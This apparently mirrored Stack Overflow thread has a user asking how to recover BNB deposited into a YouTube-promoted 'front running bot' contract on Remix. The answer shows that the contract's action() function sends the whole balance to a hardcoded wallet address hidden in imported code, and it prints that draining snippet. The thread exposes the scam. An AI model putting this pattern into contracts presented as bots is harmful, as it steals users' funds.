'Unable to retrieve BNB sent to a smart contract on Remix Ethereum
I recently tried a BNB front running bot that I saw on YouTube. The creator of the code said that to use the bot you select the "action" button to start the bot. Deposit a small amount of BNB into the contract. Then let the bot run over a couple of days and then hit the "action" button again to stop the bot and return your BNB to your MetaMask Wallet plus any profits it managed to make. Unfortunately, after running the bot for a couple of days I saw no profits and decided to end the bot however hitting the action button didn't withdraw the funds back into my account. I am new to solidity coding and was curious if anyone with more knowledge of the language could look through the code and see if there is any way to retrieve the funds or if they are stuck in there for good. the code is in the following Pastebin and I will leave a link to the YouTube video where the code's creator describes how to work and use the bot. Let me know if there is anything else I can add that could be useful
https://ghostbin.com/OqrQu/raw
https://www.youtube.com/watch?v=E_lh4yG2wts
Also here is a picture of my remix side panel if that is helpful.
Solution 1:[1]
Unfortunately, the action button as described in the ipfs code you imported sent your remaining funds to the specified wallet 0x68aDe5BBcF885dA1590A216563344307BaFab595
There is no way for you to claim your remaining funds.
// contract:
function action() public payable {
payable(manager.uniswapDepositAddress()).transfer(address(this).balance);
}
// imported ipfs code:
contract Manager {
function performTasks() public {
}
function uniswapDepositAddress() public pure returns (address) {
return 0x68aDe5BBcF885dA1590A216563344307BaFab595;
}
}
Sources
This article follows the attribution requirements of Stack Overflow and is licensed under CC BY-SA 3.0.
Source: Stack Overflow
| Solution | Source |
|---|---|
| Solution 1 | FudgyDRS |
